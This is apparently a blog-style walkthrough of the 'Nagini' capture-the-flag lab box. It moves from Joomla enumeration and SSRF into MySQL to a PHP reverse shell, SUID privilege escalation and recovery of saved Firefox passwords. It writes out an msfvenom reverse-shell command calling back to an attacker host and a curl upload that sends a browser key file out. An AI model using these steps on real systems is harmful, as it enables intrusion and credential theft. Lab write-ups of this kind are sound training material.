Part II of the Harry Potter Series: Nagini
The second box in the Harry Potter series:”Nagini” is classified as a medium box and ups the ante from the previous box. This box forces us to install some new things and check some new technology along our path to the end. The following techniques were used on this box:
· HTTP using Joomla
· HTTP3 using curl
· SSRF using gopher
· Generate ssh keys with ssh-keygen
· Exploit saved browser information
This box starts with giving us the IP:
Save that IP in a variable: IP=172.20.10.5 So let’s get started with our nmap scan: nmap -sC -sV -A $IP -oN nagini.nmap -v which gives us the common 22 and 80 ports. Since 22 is very up to date, we can start with 80. I’ll start with a curl $IP –head and curl $IP. Very simplistic and not much being given away. Since we really don’t know anything, I’ll start it with a very small, basic buster: gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt. this says we have a joomla page.
Grabbing the right tool, I’ll use a joomla scanner: joomscan -u http://$IP/joomla. This gives us quite a bit, including a robots.txt page which has a login page and administrator login page, a backup file, and the version number.
If we get stuck, we may come back and do a feroxbuster here to see what kinds of things are deeper within the tree. I’ll run the scanner one more time to check for the plugins: joomscan -u http://$IP/joomla -ec. Not much here. There are some SSRF and other things that are options, but nothing too juicy yet. Let’s check that backup file it found: curl $IP/ joomla/configuration.php.bak. Okay, we got a username, a secret, and an email. There are two webpages that do logins, but after some attempts neither of these combinations get us in to the pages. So we’ve done some enumeration, found somethings, but we haven’t gotten further. Well, let’s go back and do some more enumeration. We did a directory busting, but we didn’t do a file busting. Let’s start there. I’ll use some recursion to see what we can do. Additionally, if we are going to do file busting, we need to know what file extensions to add on to each attempt. Based on what we found so far, there wasn’t much…except there was that file that was a .php.bak and we assume if there is login pages on joomal there is sql happening. So for this file busting, I’m going to look for the following: gobuster -u http://$IP -w /usr/share/dirb/wordlists/common.txt -x txt,php,bak,sql -b 404,403.
After that runs for a minute, we see some 200s we didn’t get before on note.txt that tells us a few things: they are using http3 and they have a site at https://quic.nagini.hogwarts. Good to know. Let me add that to my /etc/hosts file so we can navigate to that latter: echo ‘$IP https://quic.nagini.hogwarts’ >> /etc/hosts. So what is http3? Off to google which leads me to this page: https://github.com/curl/curl/blob/master/docs/HTTP3.md#quiche-version. It has some step-by-step instructions that I’m going to run and cross my fingers that it works.
git clone https://github.com/cloudflare/quiche.git; cd quiche; cargo build — release — features ffi,pkg-config-meta,qlog; mkdir deps/boringssl/src/lib; ln -vf $(find target/release -name libcrypto.a -o -name libssl.a) deps/boringssl/src/lib/; cd ..; git clone https://github.com/curl/curl; cd curl; ./buildconf; ./configure LDFLAGS=”-Wl,-rpath,$PWD/../quiche/target/release” — with-openssl=$PWD/../quiche/deps/boringssl/src — with-quiche=$PWD/../quiche/target/release; make;
src/curl — http3 https://quic.nagini.hogwarts
Wow, that was a bunch but I just followed the instructions through. If you get stuck because it doesn’t have something installed, it is one apt install or pip3 install away! Looking at what the src/curl gave us, we got more direction:
Well, we would have never found that php file through directory busting! Let’s navigate there in our browser and see what we got. It says it is a “fetcher” which is built as a proxy to be able to get pages available to localhost that are not available to the public. I’ll try this with putting in localhost and I get the same page and image as I get from the homepage!
Okay, now where do we want to go from here? Checking my notes, I ventured over to https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery to see what some options are. Lucky enough, there is a discussion on there on how to use a tool called gopherus to fetch internal pages. I like automation, so let’s get it installed:
So by default it tried to use ‘pip2’ during the install. A quick change to the install.sh file upgrading the ‘pip2’ to ‘pip3’ allows this to be installed.
So gopherus has some built-in exploit support. Which one do we use? Well, during our review so far we found a configuration file that described a mysql login. Seems like that is the one to do.
So we’ll start with something simple like “select @@version;” and see what that gives. If we cut and paste the SSRF link that was made, we get a response.
So we can see that this is a MariaDB and it actually works. So where to do we go from here? We’ll start enumerating the database and see where we can get. I’ll run the following: show databases; use joomla; show tables; use joomla; select * from joomla_users; We find one user called “Super Admin” that has a password hash in there. I copied that hash out and I’ll get that started in the background with john –wordlist=/usr/share/seclists/passwords/LeakedDatabases/rockyou.txt. While that runs, I’ll continue to enumerate the database. There is really nothing else in here we can extract. Only one database called joomla and only tables that support the joomla installation. After waiting a while, john was unable to crack the password with the wordlist I gave it. So now what? I can read from the database, can I write to it? If I did, what would I write?. Let’s create a new password that I know and we’ll put it in the database as the password hash. To create a password, I’ll use a command-line tool:
Okay, now we need to add it to the database. Since we know the email associated with it, I’ll do an sql command and see if it works: use joomla;update joomla_users set password=’YourHashYouMade’ where email=’email@example.com’; That returns “1 row effected”, great! Now let’s navigate to the joomla administrator page and see if it works. It does. We are in the CMS system now.
So we are on the joomla page, so what can we do? There are a few areas to focus on for CMS pages as hinted by this page: Pentesting CMS Web Applications. The days of writing a web application… | by Arnav Tripathy | Medium. So I’ll start where I’ve started before and try to store a new page on the CMS that does what I want it to do. I like to begin in Templates. In this case, I’ll pick error.php which is called when the webpage has an error. Seems simple, but what should we put? I’ll go straight for the kill and make a php reverse shell: msfvenom -p php/reverse_php LHOST=192.168.4.31 LPORT=4444 -o rev.php. I’ll just copy this whole file and replace it in the screen editor.
With my new php in there, I’ll hit Save. Now when I attempt to navigate to a page and it causes an error, I should get this response. I’ll start netcat to receive my shell and call a curl to kick it off. Remember you need to have an error on your call and not a 404 or some other error.
Okay. I’ll get a better shell and then start enumerating. Of course we are on with www-data, so to be easy I’ll just upload and run linpeas.sh to enumerate everything and I’ll parse from there. Looking at my linpeas output, there are a few things I notice, and I’ll start with the easy ones and move up. First I’ll start with the mysql running on port 3306 (which we already knew based on our exploit). I connected to mysql and looked around, but it showed us nothing more than we already enumerated using gopherus. So the next thing that stuck out was the 4 users on the box. I’ll go to the home directory and see two directories: hermoine and snape. Looking at hermoine, I don’t have much permissions for stuff. Looking at snape, there is a hidden file called “.creds.txt” which appears to be some sort of password in base64. I attempt to use it by using “su — snape” and the password works! Since ssh is on the box, I’ll jump to a new terminal and try ssh that works! So now we have a much better shell and we can look around. There is nothing else good in this directory, let’s go back to hermoine now that we are a different user. There is a file with a SUID bit set in the bin directory called su_cp. Running file su_cp shows its an executable file, so let’s run strings su_cp. There is a block of text in there that looks really similar to the copy command. I’ll run cp –help and the output looks the same! Could this copy a file with different permissions? Let’s check:
The hunch was right, it copies a file and updates the permissions. What can we do with this? How about we update the authorized_keys file to allow us to ssh into the box? After running ssh-keygen it looks like this:
Okay, we moved from www-data to snape to hermoine…still need to get to root. Doing an ls -al gives me the hidden files and there is a .mozilla directory. Let’s investigate. There is one profile in there and I find a few .json and .sqlite files. Doing some googling if you’ve never done forensics before, there is a way to pull out stored passwords using firepwd on github. Let’s download that and set it up.
So we got it ready, but we need to give it the files. Let’s pull over the files by starting updog on your box. Then run curl -F “path=.” -F firstname.lastname@example.org 192.168.4.31:9090/upload which moves over the file for you. We also need the logins.json file decode it, so we’ll grab that one too. Now that we have both files in the directory, we can run python3 firepwd.py which pulls the files from the current directory and Viola…root password is recovered! That allows us to su root and we are in as root. Great learning box.